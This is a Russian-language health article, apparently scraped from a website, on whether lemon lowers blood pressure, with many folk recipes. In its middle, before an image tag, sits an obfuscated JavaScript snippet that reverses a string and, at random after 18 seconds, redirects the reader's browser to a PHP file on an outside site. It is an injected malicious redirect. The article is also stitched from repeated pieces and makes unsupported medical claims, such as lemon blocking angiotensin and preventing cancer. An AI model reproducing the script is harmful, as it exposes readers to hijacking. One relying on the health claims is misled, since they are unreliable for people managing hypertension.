Лимон: снижает давление или повышает, польза, рецепты

Состав цитруса и его влияние на давление

Лимон изобилует веществами, необходимыми организму для нормального функционирования. В нем содержатся:

• Витамины A, C, E, Р, группы В;
• Минералы – калий и кальций, фосфор, магний, натрий и др.;
• Пектины;
• Биофлавоноиды;
• Цитрин;
• Органические кислоты;
• Эфирные масла.

Обладая таким составом, лимон способствует снижению уровня вредного холестерина в крови, улучшает работу иммунной системы, обогащает организм полезными веществ

ами.

Содержащиеся в лимоне микроэлементы также укрепляют сосудистые стенки, повышая их эластичность и устойчивость. Испытывая меньшее сопротивление, кровь течет свободнее. Поэтому можно говорить о том, что лимон понижает давление.

Кроме того, ароматный цитрус – отличное профилактическое средство против атеросклероза. Это заболевание сопровождается регулярными перепадами артериального давления и в целом негативно отражается на сердце и сосудах.

Полезные свойства

Сок лимона на протяжении многих лет активно используют в медицине. И не зря, так как в его состав входит огромный спектр биологически активных веществ.

Вещество	Действие
Витамин С (аскорбиновая кислота)	Способствует укреплению сосудистой стенки, что снижает её проницаемость и повышает эластичность.
Витамины группы В (В1, В6, В12 и другие)	Регулируют нормальный обмен веществ, что определяет наиболее полное питание всех тканевых структур.
Витамины К, А, Е и многие другие	Поддерживают нормальные реологические свойства крови.
Микро- и макроэлементы	Принимают участие в окислительно-восстановительных процессах, поддерживают ионный состав крови.
Органические кислоты.	Поддерживают кислотно-щелочное равновесие, способствуют поддержанию нормального состояния клеток тканевых структур.

Состав и лечебные свойства лимона

Данный цитрусовый содержит в себе множество полезных веществ, способствующих поддержанию иммунитета и благотворно влияющих на все системы организма. В состав лимона входят:

• витамины С и В6;
• железо;
• кальций;
• калий;
• полисахариды;
• лимоноиды;
• органические кислоты;
• флавоноиды;
• липиды.

Лимон является сильным антиоксидантным средством и оказывает следующее лечебное действие при гипертонии:

1. Снижает давление.
2. Препятствует образованию тромбов.
3. Уменьшает пагубное влияние стресса на организм.
4. Обладает мягким слабительным эффектом.
5. Является профилактикой гриппа и простуды.
6. Позволяет железу эффективнее всасываться.
7. Способствует снижению вредного холестерина.
8. Является профилактикой онкологических заболеваний.

Гипотонический эффект при использовании этого цитрусового достигается благодаря высокой концентрации лимонной кислоты, обладающей способностью снижать показатели артериального давления. Подобные свойства объясняются также мочегонным свойством фрукта. При его употреблении лишняя жидкость выводится из организма, что препятствует гипертонии.

Лимон — это кладезь витаминов и полезных для организма элементов

С бергамотом

Бергамот снижает количество холестерина в крови, одновременно успокаивая нервную систему. Растение обладает антистрессовым воздействием, и может использоваться для приготовления чая для понижения давления.

Результат от чая с бергамотом можно получить, если повышение давления носит временный характер, и не диагностирована серьезная патология. При гипертонии употреблять напиток можно только в сочетании с назначенными медикаментозными препаратами.

Важно: продолжительное употребление бергамотового чая станет причиной повышения АД

Чтобы нормализовать АД, употребляя напиток с бергамотом, нужно правильно готовить растительный состав

Само по себе растение существенно не влияет на параметры. Важна температура напитка, и способ приготовления:

Чтобы нормализовать АД, употребляя напиток с бергамотом, нужно правильно готовить растительный состав. Само по себе растение существенно не влияет на параметры. Важна температура напитка, и способ приготовления:

При низком	При высоком
Черный сорт с бергамотом. Пить теплым, можно добавить мед. Не употреблять в большом количестве	Пить прохладным, черный или зеленый. Нельзя крепко заваривать. Необходимо контролировать показатели давления

Готовится чай из бергамота так:

1. листья зеленые или черные, бергамот, вода, лимон. По желанию можно добавлять сахар;
2. емкость обдать кипящей водой;
3. 1 ч. л. чай идет на стакан горячей воды. Нельзя заливать кипятком;
4. настаивать 5 минут, затем помешать ложкой;
5. когда листья осядут, добавить сахар и лимон.

Можно готовить по-другому. В одной чашке заварить чайные листья, в другой — бергамот. Оба напитка смешать, остудить и пить. Можно добавить мед.

Кому не стоит употреблять этот фрукт?

Несмотря на всю полезность лимона для снижения артериального давления и укрепления иммунных сил, добавлять его в рацион рекомендуется не всем.

Минимизировать или отказаться от кислого фрукта следует людям с:

• язвой желудка и болезнью двенадцатиперстной кишки;
• холециститом;
• гастроэнтероколитом;
• острым нефритом;
• гепатитом;
• аллергией на цитрусовые фрукты.

При таких диагнозах лимон с большой вероятностью окажет негативное влияние, может поднять кислотность желудка.

При беременности женщинам не противопоказано есть лимон, но в разумных количествах. В период кормления, решение будет зависеть от того, как ребенок реагирует на кислый фрукт в рационе матери. Если появилась аллергическая реакция в виде сыпи и покраснений – от лимона стоит на время отказаться или уменьшить его прием (ограничиться чаем с долькой).

С осторожностью следует принимать цитрус людям с пониженным артериальным давлением, а после употребления делать контрольные замеры тонометром, чтобы в случае изменений подтвердить эту взаимосвязь. Следовательно, прием лимона в пищу – это не метод лечения гипертонии, а лишь способ помочь снизить АД

Он не может существенно замедлить сердцебиение и пульс

Следовательно, прием лимона в пищу – это не метод лечения гипертонии, а лишь способ помочь снизить АД. Он не может существенно замедлить сердцебиение и пульс.

Отзывы людей, постоянно принимающих его в пищу, в основном, положительные – фрукт действительно немного сбивает кровяное давление, оказывает помощь в укреплении сердца и чистит сосуды, уменьшает холестериновые отложения в них. У гипотоников показатели АД могут упасть, но из-за употребления лимона они не достигнут критических значений.

Рецепты от гипертонии

Лимон при гипертонии может быть довольно эффективным. Способы его применения для понижения давления были предложены опытными специалистами: диетологами и мастерами народной медицины. Существует целый свод рецептов того, как правильно употреблять его сок. Их общий принцип таков: мед, лимон и чеснок – отличные средства от гипертонии.

Рецепт первый

Берется плод средних размеров, его измельчают с помощью миксера не снимая кожуры, затем добавляют мелко порезанную цедру апельсина и сахар по желанию. Употребляют полученную смесь до приема пищи по 5 грамм.

Рецепт второй

Берут два или три этих фрукта средних размеров, так же, как в предыдущем случае, измельчают, не снимая кожуры. Для этого рецепта тоже будут необходимы несколько головок чеснока (2-3). Чеснок следует измельчить, затем добавить к полученной смеси, приготовленной из цитрусового, и залить 400 миллилитрами кипятка. После этого раствор настаивают под крышкой в течение суток. Следующим этапом приготовления будет процеживание через марлю.

Принимать полученную смесь показано по одной столовой ложке за час до еды. Для улучшения ее органолептических свойств можно добавить мед. Мед в комбинации с лимонным соком и чесноком вызывает понижение артериального давления.

Рецепт третий

Понизить давление можно с помощью спиртовой настойки с этим цитрусовым. Для ее приготовления достаточно взять 50 грамм цедры лимона, залить ее 500 миллилитрами водки, настаивать на протяжении 10 дней, и лучше это делать в помещении без света. Принимается настойка натощак по тридцать капель.

Рецепт четвертый

При повышенном давлении можно взять 15 граммов смеси из измельченного фрукта, добавить к ней столько же клюквы, предварительно подготовив ее в блендере, взять мед в количестве 250 мл, настоять в течение суток. Употреблять по столовой ложке один раз утром и один раз вечером. В этом случае добавлять мед обязательно, так как он является неотъемлемой частью рецепта.

Рецепт пятый

Измельчить один фрукт небольших размеров, взять 1-2 апельсинов, перетереть клюкву и добавить ее в количестве 450 миллилитров, хорошо перемешать полученную смесь. Затем для улучшения вкуса можно применить сахар. Принимать субстанцию следует по две ложки утром и вечером.

Таким образом, с помощью вышеперечисленных рецептов можно добиться понижения артериального давления до 15 мм.рт.ст. Не следует самостоятельно назначать себе этот фрукт, так как при гипотонии можно только усугубить состояние, вызвать коллапс или обморок. Перед применением любого средства обязательно проконсультироваться у врача. В случаях гипертонической болезни на поздних стадиях обязательно назначаются лекарственные препараты, понижающие артериальное давление.

Помогает ли лимон от высокого давления

Многим людям кажется, что именно повышенная кислотность и наличие витамина С в цитрусе понижает артериальное давление. Так ли это на самом деле? Лимон при гипертонии однозначно помогает, но за счет своего богатого состава, который имеет сходство с таблетками от высокого давления.

Например, не все знают, что в лимоне содержится достаточное количество:

Это основные минералы, принимающие непосредственное участие в снижении артериального давления. Калий поддерживает гладкую мускулатуру и участвует в урегулировании биологических жидкостей организма, а также не допускает аритмии. Магний расслабляет стенки сосудов и занимается транспортировкой калия и кальция, который помогает кровеносным сосудам сокращаться и воздействовать на выработку некоторых гормонов и ферментов.

Лимонный сок блокирует гормон ангиотензин, который сужает сосуды и препятствует нормальному току крови.

Во фрукте содержатся также натрий, фосфор, железо, витамины группы В и Р.

Сосуды становятся ломкими в результате различных заболеваний: вирусных, бактериальных, эндокринных и пр. В итоге может произойти их разрыв, что приведет к кровоизлияниям. Лимон, благодаря содержанию никотиновой и аскорбиновой кислоты, укрепляет стенки сосудов и повышает сопротивляемость.

Влияние на показатели АД

Главный вопрос, который беспокоит лиц, страдающих артериальной гипертензией – повышает или понижает давление лимон? Как он влияет на организм?

Наиболее часто данный плод применяют с целью понижения артериального давления. Как показали исследования, ежедневное использование этих плодов в пищу в течение недели может снизить его на 10%. При ежедневном использовании в течение месяца можно привести кровяное давление в границы нормы и поддерживать его на должном уровне.

Стоит разобраться как действует этот плод при повышенном кровяном давлении. Антигипертензивный эффект лимонов объясняется следующими свойствами:

• содержащиеся в лимонах вещества способствуют разжижению крови, что при подъеме кровяного давления даёт возможность купировать неблагоприятную симптоматику;
• входящие в состав лимонного сока микроэлементы благотворно влияют на сосудистую стенку – отмечают увеличение эластичности стенки, что способствует профилактике резких подъемов давления;
• способствует снижению уровня холестерина, что является профилактикой образования атеросклеротических бляшек;
• поддерживает постоянство ионного состава, что способствует слаженному сокращению миокарда.

Лимон и лимонный сок может быть прекрасным профилактическим средством при гипертонии, но при гипертоническом кризе он не окажет должного эффекта, а именно не снизит быстро и эффективно кровяное давление. В этом случае нужно использовать препараты, прописанные врачом.

Лимон при гипертонии

При гипертонии применяют мякоть и кожуру лимона. Положительного действия на сердечно-сосудистую систему оказывает наличие в лимоне витамина С, Р, солей калия.

В день нужно съедать половинку среднего лимона, но это достаточно сложно сделать из-за того что лимон очень кислый. Поэтому существует различные рецепты с применением лимона.

Лимон, мед (сахар)

Один средний лимон необходимо вымыть и измельчить. Можно использовать мясорубку или блендер. Мякоть лимона соединить с медом или сахаром. Сладость добавляют по вкусу. Принимают смесь по чайной ложке до еды.

Чай с лимоном

Для приготовления чая необходимо высушить корочки лимона. 2 ст. ложки заливаем 0.5 литра воды, кипятим на медленном огне 2-3 минуты, затем даем настояться под крышкой 10 минут. Пить по 1/3 стакана до еды.

Лимон, апельсин, клюква

Для приготовления данного рецепта необходимо измельчить средний лимон и апельсин, добавить 500 грамм клюквы предварительно перетертой. В смесь добавить небольшое количество сахара, все перемешать. Принимать по ложке 2-3 раза в день.

Клюква, мед, чеснок

При гипертонии применяют не только лимон, но и клюкву. Измельчают килограмм клюквы, стакан чеснока, все перемешивают медом. Меда необходимо 0.5 литра. Применяют данное средство для снижения давления 3 раза в день по ложке. Хранят смесь в холодильнике.

Мед, лимон, чеснок

Для приготовления данной смеси на 1 крупный лимон необходимо использовать 1 небольшую головку чеснока. Все это измельчаем и заливаем половиной стакана меда. Перекладываем в баночку и на неделю помещаем в теплое место. Затем банку помещаем в холодильник, принимать не более чайной ложки несколько раз в сутки.

Лимон при головной боли

Очень часто лимон от головной боли применяла моя бабушка. Для этого достаточно прикладывать цедру лимона к височной области или лбу. Эфирные масла, которые выделяются из кожуры лимона очень благотворно влияют на общее состояние организма.

Головная боль проходит. Правда на коже может остаться покраснение. Когда вы уберете корочки лимона, ополосните лоб водой, покраснение исчезнет.

Также можно сделать приятный напиток добавив в стакан кипяченой не горячей воды сок лимона. Такой напиток не только избавит от чувства жажды, но и поможет привести в тонус сосуды.

Чай с лимоном

Лимон содержит витамин С, который разжижает кровь, а также препятствует образованию тромбов. Кислота, содержащаяся в лимоне снижает вязкость крови, что способствует улучшению прохождения крови по венам и артериям.

Вы можете заваривать себе чай с лимоном и пить его по желанию, по вкусу можно добавить немного натурального меда или сахара.

Ведь не все знают знают как помочь себе и снизить артериальное давление, а рецептов существует очень много.

Сок лимона

Люди с повышенным артериальным давление должны выпивать от 100 до 150 мл. лимонного сока в день. Так как сок лимона достаточно концентрированный, его необходимо разбавлять водой.

Лимон входит в состав мочегонных продуктов, которые помогают выводить из организма лишнюю жидкость и соли, в связи с чем уменьшается нагрузка на сердце.

Стакан воды с лимонным соком полезно выпивать утром натощак, до завтрака. Но кроме этого, существуют и .

Противопоказания к применению лимона

Многие применяют лимон при гипертонии, и это действительно прекрасное средство. Но каким бы не казался прекрасным и безопасным плод лимона, у лимона есть противопоказания.

Лимон не следует применять при повышенной кислотности, гастрите и язвенной болезни, особенно в период заболевания

Что касается периодов ремиссии, то перед применением того или иного средства, включающего лимон, необходима консультация врача.
Суточная норма употребления лимона не более 2 средних плодов в день.
Применяют лимон с осторожностью, так как лимонный сок оказывает воздействие на зубную эмаль.
Помните, лимон может вызвать аллергическую реакцию, в таких случаях лечение лимоном следует прекратить.. Также помните, что гипертония лечиться под наблюдением врача, при стабильно повышающемся давлении не обойтись без лекарственных препаратов и консультации врача

Не стоит надеяться только на народные средства

Также помните, что гипертония лечиться под наблюдением врача, при стабильно повышающемся давлении не обойтись без лекарственных препаратов и консультации врача. Не стоит надеяться только на народные средства.

Лимон помогает в лечении многих заболеваний. Конечно, повышенное или пониженное давление не есть признаком прекрасного здоровья. Если такое случается, то, естественно, нам хочется знать: лимон повышает или понижает давление. Выяснив это и выбрав себе рецепт, посоветуйтесь с врачом. Следите за своим здоровьем, берегите себя и будьте здоровы.

Физиология высокого давления

По мнению специалистов, сегодня свыше трети всего населения развитых стран — гипертоники, то есть имеют повышенное артериальное давление, равное или превышающее показатели 140/90 мм ртутного столба.

Гипертензия — проявление целого ряда сложных и часто опасных для жизни заболеваний:

• атеросклероза;
• кардиопатии;
• тяжёлых поражений почек;
• стенозов крупных сосудов.

В каждом конкретном случае только врач может поставить диагноз и назначить эффективный курс лечения. Однако в силах самого больного укрепить сердечно-сосудистую систему немедикаментозными способами:

• ввести в ежедневную практику посильную физическую нагрузку;
• гармонизировать режим работы и отдыха;
• изменить систему питания;
• взять на вооружение народные методы оздоровления.

И в этом кислый фрукт с высокой концентрацией витаминов, минералов и органических соединений, разжижающих кровь, обладающих лёгким мочегонным действием и адаптирующих сосуды к нагрузкам и смене погоды, может стать хорошим подспорьем. Как показывает практика, систематическое употребление лимона помогает понизить артериальное давление на 10–15%.

Оздоровительный эффект солнечного плода наиболее заметен в начале заболевания, когда показатели тонометра лишь незначительно отклонились от нормы. Однако лимон полезен и при тяжёлых формах гипертонии, особенно в сочетании с продуктами, которые также обладают гипотензивным эффектом.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/07/izmerenie-davleniya-728×374.jpg» alt=»Измерение давления» width=»728″ height=»374″ /> Высокое давление требует постоянного контроля

Использование фрукта при гипертонии

Существуют и другие полезные рецепты, которые способствуют понижению артериального давления. К наиболее популярным относятся следующие:

1. Клюквенно-цитрусовая смесь. Лимон и апельсин (по одной штуке) измельчить до однородной кашицы, добавить 450 граммов перетертых плодов клюквы. Все перемешать. Приготовленный состав следует принимать два раза в день по 2 ложки.
2. Спиртовая настойка. Пятьдесят граммов лимонной цедры залить 0,5 л водки. Для настаивания в темном месте требуется не менее десяти суток. Употребляется полученный настой на голодный желудок в количестве 30 капель.

Эффективным считается также употребление лимона совместно с шиповником и клюквой. Для приготовления целебного состава необходимо смешать по 50 граммов плодов ягод и один фрукт вместе с кожурой. Все тщательно перекрутить на мясорубке. В полученную смесь добавить меда.

Рекомендуемая суточная доза – по одной столовой ложке утром, в обед и вечером.

С апельсином

Лечебное средство на основе данных цитрусовых плодов широко используется с целью снижения артериального давления и очистки сосудистого русла. Для приготовления такого средства понадобится взять:

• лимоны – 2 штуки;
• апельсины – 2 штуки;
• мёд – 2 столовые ложки.

Фрукты тщательно промывают, а после измельчают посредством мясорубки или кухонного комбайна. От цедры не отчищают, косточки по возможности удаляют. Полученную кашу перекладывают в большую ёмкость, добавляют 2 столовые ложки мёда. Тщательно перемешивают, убирают в холодильник настаиваться.

Через сутки возможен приём данного лекарственного средства по 2 чайной ложки трижды в день через 60 минут после приёма пищи на протяжении 1 месяца. После рекомендуют сделать перерыв (1 месяц).

Народные рецепты с лимоном при гипертонии

Для приготовления народных средств используют мякоть, цедру и кожуру лимона:

• Самое простое средство снизить давление – пить дважды/день по 1 ст. л. лимонного сока, смешанного с 1 ч. л. меда.
• Смесь лимона, меда и чеснока помогает при гипертонии, атеросклерозе, сосудистых воспалениях. Половину головки чеснока измельчить, добавить смолотый блендером лимон (вместе с кожурой), 50 г меда. Все смешать, выдержать в холодильнике 3-5 дней. Принимать 1 ст. л. трижды/день.
• Лимонно-ягодную смесь рекомендуется употреблять для повышения иммунитета, во время лечения начальной формы гипертонии. На заварочный чайник объемом 500 мл идет по 1 ст. л. лимонной цедры, ягод черной смородины, клюквы. Свежие ягоды размять, залить кипятком, выдержать 10 минут, пить вместо чая 2 раза/день. Сушеные ягоды настаивают 30 минут, пьют также.
• Для улучшения сердечного ритма, снижения нагрузки, восстановления сосудов заваривают лимонную цедру с плодами шиповниками. На стакан кипятка идет 1 ч. л. цедры, 1 ст. л. ложка ягод. Настаивают 30 минут, процеживают, выпивают за день.
• При симптомах гипертонии, повышенной усталости по утрам полезно пить смузи, приготовленный из половинки лимона и целого апельсина. Фрукты очищают от кожуры, перемалывают блендером, выпивают во время завтрака. Подсластить можно медом или экстрактом стевии. Пить такой коктейль желательно в течение 7-10 дней.
• При высоком давлении, сахарном диабете сок одного лимона смешивают с половиной стакана меда. 1 ст. л. изюма, столько же грецких орехов перемалывают блендером и заливают медово-лимонной массой. Держат в холодильнике сутки. Принимают по 1 ч. л. после завтрака, обеда, ужина.

Зеленый или черный чай с ломтиком лимона благоприятно сказывается на сердечно-сосудистой системе, нормализуя показатели артериального давления.

Ограничения и противопоказания

Лимоны в свежем виде не рекомендованы для страдающих язвой желудка и аллергиков, тогда как сок лимона, смешанный с другими продуктами, им можно употреблять в лечебных целях. Главное – не переусердствовать, соблюдать точную дозировку.

Мед противопоказан при индивидуальной непереносимости продуктов пчеловодства, с осторожностью назначается диабетикам и маленьким детям в возрасте до 3 лет. Чеснок, несмотря на огромную лекарственную ценность, вполне может навредить тем, у кого имеются нарушения в работе ЖКТ, заболевания печени, почек, эпилепсия

В отношении чеснока истинно выражение «одно лечим – другое калечим». Так, его употребление в больших количествах вызывает несварение желудка, оказывает разрушающее воздействие на печень и почки. За счет «разжигания» аппетита приводит к увеличению объема потребляемой пищи и ожирению

Чеснок, несмотря на огромную лекарственную ценность, вполне может навредить тем, у кого имеются нарушения в работе ЖКТ, заболевания печени, почек, эпилепсия. В отношении чеснока истинно выражение «одно лечим – другое калечим». Так, его употребление в больших количествах вызывает несварение желудка, оказывает разрушающее воздействие на печень и почки. За счет «разжигания» аппетита приводит к увеличению объема потребляемой пищи и ожирению.

В заключение хочется отметить, что мед с лимоном при повышенном давлении – не панацея. Одним из основных условий успешного лечения гипертонии является разумное сочетание народных средств, достижений официальной медицины, правильного питания, достаточной физической нагрузки, эмоционального спокойствия и собственного благоразумия.

Соки овощные

Многие овощи также могут быть полезны для людей, страдающих от повышенного давления, поскольку напитки, приготовленные из них, способны снижать давление. Среди овощей особенно ценной для этой цели является свекла. Она богата калием и фолиевой кислотой, которые играют важную роль в регулировании артериального давления. Кроме того, в свекле содержатся активные вещества, способствующие расслаблению гладкой мускулатуры, что способствует улучшению кровообращения. Однако сам по себе сок из свеклы может показаться неприятным на вкус, поэтому его можно смешивать с соками других овощей.

Организм получает положительное воздействие от употребления моркови и тыквы. Тыква помогает избавиться от излишков соли, устранить отеки, а также рекомендуется при атеросклерозе. Морковь богата витамином А (каротином). Для улучшения вкуса сока из тыквы его можно подсластить медом, но не следует добавлять сахар, чтобы избежать возможного повышения давления.

Лимон при гипертонии

Народные лекари предлагают много рецептов от повышенного давления с этим цитрусом.

1. Плод среднего размера натереть на терке вместе с кожурой (можно пропустить через мясорубку). Измельчить цедру апельсина и соединить с лимоном. Добавить сахарный песок по вкусу и как следует перемешать. Принимать смесь до еды по одной чайной ложке.

2. Через мясорубку пропустить три лимона (кожуру не снимать). Натереть на терке три головки чеснока и соединить с лимоном. Полученную сместь залить горячей кипяченой водой (0,5 л), покрыть крышкой и настаивать сутки, периодически помешивая. Когда настанет время, процедить через марлю. По желанию добавить мед по вкусу, но не обязательно. Принимать за час до еды по стол. ложке.

Лимон можно есть даже с кожурой

3. При гипертонии можно приготовить спиртовую настойку. Для этого берут 50 граммов лимонной цедры, заливают 0,5 л водки и дают настояться в темном месте в течение десяти суток. Принимают по 30 капель на голодный желудок.

4. Измельченный вместе с цедрой лимон и пропущенные через пресс пять долек чеснока поместить в стеклянную банку. Добавить 100 мл меда и держать в теплом месте неделю. Банку с готовым лекарством обернуть темной тряпкой и убрать в холодильник. Принимать следует по чайной ложке трижды в сутки.

5. Измельчить вместе с кожурой один лимон и два апельсина, добавить перетертую клюкву в количестве 500 мл и небольшое количество сахара. Принимать дважды в день по одной ложке с чаем.

6. Взять кашицу лимона (столовую ложку), соединить с измельченной клюквой в таком же количестве и плодами шиповника (0,5 стол. ложки). Добавить в смесь мед (200 мл) и настаивать сутки. Принимать по одной ложке дважды в день с утра и в вечернее время.

Влияние на показатели АД

Главный вопрос, который беспокоит лиц, страдающих артериальной гипертензией – повышает или понижает давление лимон? Как он влияет на организм?

Наиболее часто данный плод применяют с целью понижения артериального давления. Как показали исследования, ежедневное использование этих плодов в пищу в течение недели может снизить его на 10%. При ежедневном использовании в течение месяца можно привести кровяное давление в границы нормы и поддерживать его на должном уровне.

Стоит разобраться как действует этот плод при повышенном кровяном давлении. Антигипертензивный эффект лимонов объясняется следующими свойствами:

• содержащиеся в лимонах вещества способствуют разжижению крови, что при подъеме кровяного давления даёт возможность купировать неблагоприятную симптоматику;
• входящие в состав лимонного сока микроэлементы благотворно влияют на сосудистую стенку – отмечают увеличение эластичности стенки, что способствует профилактике резких подъемов давления;
• способствует снижению уровня холестерина, что является профилактикой образования атеросклеротических бляшек;
• поддерживает постоянство ионного состава, что способствует слаженному сокращению миокарда.

Лимон и лимонный сок может быть прекрасным профилактическим средством при гипертонии, но при гипертоническом кризе он не окажет должного эффекта, а именно не снизит быстро и эффективно кровяное давление. В этом случае нужно использовать препараты, прописанные врачом.

Положительные стороны составляющих компонентов цитруса

Полезные свойства лимона, возможны благодаря сильнейшим антиоксидантам, входящим в состав фрукта и с помощью которых становится возможным:

• снизить симптомы гипотонии;
• снизить густоту крови;
• бороться с депрессией и навязчивым состоянием;
• снизить частоту образования тромбоза;
• выполнить профилактические меры по устранению ОРВИ и простуды;
• снизить уровень холестерина и повысить качество усвоения железа в крови;
• обеспечить защитную реакцию организма против раковых заболеваний;
• лечение царапин, ожоговых повреждений кожи и кровоточивости полости рта;
• нормализовать стул и работу кишечника;
• повысить свойства лекарственных средств, предназначенных для профилактики и борьбы с инфекционными заболеваниями мочевых путей;
• ускорение процесса регенерации рубцов после операции.

Терапевтические рекомендации

Использование при пониженном давлении

Влияние на цитрус активных веществ других лекарственных средств в корне меняет его свойства. Лимон в чистом виде только понижает АД. При гипотонии он нанесет вред. Но если приготовить очень сладкий черный чай с чайной ложкой лимонного сока (но не кожуры), тогда он повышает столбик на приборе на несколько показаний. Спиртные напитки, в частности, сладкий ликер и горячий глинтвейн с добавлением лимона, подымает давление и часто используется для снятия симптомов гипотензивного криза. Повышает АД употребление кофе с лимоном, но злоупотреблять им нельзя. Это вредно для пищеварительных органов и сердечно-сосудистой системы, так как эти 2 продукта несовместимы и приносят только вред при частом употреблении.

Применение при гипертонии

При повышенных показателях АД можно пить сок из этих фруктов.

Чаще всего употребляют сок лимона, чаи, настои или едят мякоть вместе с кожурой. Хорошо снижает давление на ранних этапах лимонный сок под язык. Через сосуды ротовой полости активные вещества быстрее поступят в общий кровоток. Достаточно 1 столовой ложки и несколько минут покоя, чтобы снять невысокое АД. Комбинация имбирь и лимон также оказывает хорошее действие на организм гипертоников.

Простые рецепты

Лимонад собственного приготовления постепенно понижает давление при систематическом использовании. Приготовить его можно на несколько дней вперед, так как цитрус является сам себе консервантом. На один плод берут 1 л холодной кипяченой воды. Лимон нарезают тонкими кружками, кладут в банку и заливают водой. Можно пить через час натощак по полстакана. Принимают по 4 стакана в сутки.

Сбивает давление и делает стенки сосудов чистыми также апельсин в сочетании с лимоном. Эти 2 цитрусовых дополняют лечебный эффект друг друга. Рецепт очищающего средства от липидных бляшек следующий: 2 лимона и 2 апельсина измельчают в мясорубке без косточек, добавляют 2 столовые ложки меда и перемешивают. Через сутки принимают по столовой ложке 3 раза в день через час после еды.

Понижает показатели тонометра и такой целебный настой: цедра 2-х лимонов, 2 столовые ложки ягод шиповника, 20 г меда. Все измельчается и заливается 2-мя стаканами кипятка. Настаивается 3 дня и принимается по 2 столовые ложки утром и вечером за 20 мин. до еды. Употребление настоя помогает сбивать невысокое давление и держать его в норме

Но важно правильно соблюдать дозировки и пройти весь курс лечения

Чистка от шлаков

При зашлакованности организма полезно готовить средство на основе этого цитрусового, меда и алоэ.

Снимает АД и очищает организм такое сочетание: алое, лимон и мед на водке. 10 лимонов измельчить в мясорубке, добавить по 2 стакана каждого из ингредиентов. Все перемешать и оставить в темном месте в течение месяца. Принимают по 1 ст. л. до 3-х раз в день на протяжении 4-х недель. Средство мягко понижает АД и укрепляет организм.

Содовая вода с лимоном используется для снижения давления и очищает организм от шлаков. На стакан кипяченой воды комнатной температуры кладут 1 ч. л. соды и сок половины цитрусового Пьют натощак в течение двух недель. Такое же действие оказывает лимон с молочной сывороткой. На 3 л сыворотки кладут 1 измельченный плод, настаивают 8 часов. Употребляют при пониженном давлении по 4 ст. ложки 3 раза в день на протяжении месяца.

Когда лимон противопоказан?

Фрукт безопасен для гипертоников, если соблюдать рекомендации врача и дозировку. Следует отказаться от терапии цитрусовыми лицам, имеющим на них аллергию. При повышенной кислотности желудочного сока возможны расстройства желудочно-кишечного тракта. Нельзя принимать неразбавленный лимонный сок, когда имеется язва желудка. Беременность и лактация несовместимы с цитрусовыми (аллергия в виде высыпаний у ребенка). Людям с панкреатитом и гепатитом запрещен прием лимонов — кислота может влиять агрессивно на нездоровые пищеварительные органы человека. Вызывает обострение состояний при онкологических заболеваниях. Употребление больше двух плодов в день негативно действует на ЖКТ и зубную эмаль.

Лимонная вода

Вода с лимоном или лимонад также является прекрасным средством, которое эффективно борется с повышенным артериальным давлением. Обладает мягким и быстрым действием.

Для приготовления понадобится взять:

• вода (можно минералку) – 1,5 литра;
• лимоны – 2 штуки.

Приготовление:

• плоды тщательно моем, протираем, нарезаем кружочками;
• укладываем кружочки в большую ёмкость, сливаем выделившийся при нарезке сок;
• заливаем прохладной водой, настаиваем в течение часа.

Лимонад рекомендуется хранить в условиях холодильника. Употребляют напиток на голодный желудок, по 3–4 стакана непосредственно перед приёмом пищи. Для вкуса можно добавить пару чайных ложек мёда.

Чем полезен чеснок гипертоникам

Недомогание в виде частой и сильной головной боли, тошноте, головокружении, усталости и потере концентрации может говорить о наличии гипертонической болезни. При этих симптомах чесночная терапия особенно эффективна.

Чеснок обладает большим количеством полезных витаминов, кислот, минералов, среди которых:

• Медь,
• Селен,
• Цинк,
• Железо,
• Фосфор,
• Сера,
• Кобальт,
• Марганец,
• Альфа токоферол,
• Витамин А,
• Витамин С,
• Витамин К,
• Рибофлавин,
• Тиамин,
• Витамин В6,
• Ниацин,
• Фолат.

В чесноке содержится много эфирного масла — аллицина, обладающего сильным бактерицидным эффектом.

Регулярное употребление 3-4 зубчиков овоща в день поможет:

• Укрепить иммунную систему,
• Избежать простудных заболеваний,
• Активизировать работу органов пищеварения,
• Понизить уровень холестерина в крови,
• Расширить сосуды,
• Понизить артериальное давление,
• Предотвратить появление тромбов в сосудах.

Аллицин убивает многие виды болезнетворных бактерий и грибков, а сок чеснока помогает восстановиться поврежденным тканям. Минеральные вещества, содержащиеся в овоще, влияют на силу сокращения сердца, заставляя орган работать эффективнее.

Лечение гипертонии чесноком эффективно благодаря тому же аллицину. Эфирное масло взаимодействует с эритроцитами, что приводит к выделению сероводорода. В результате реакции происходит расслабление стенок сосудов, снимаются спазмы и улучшается кровообращение.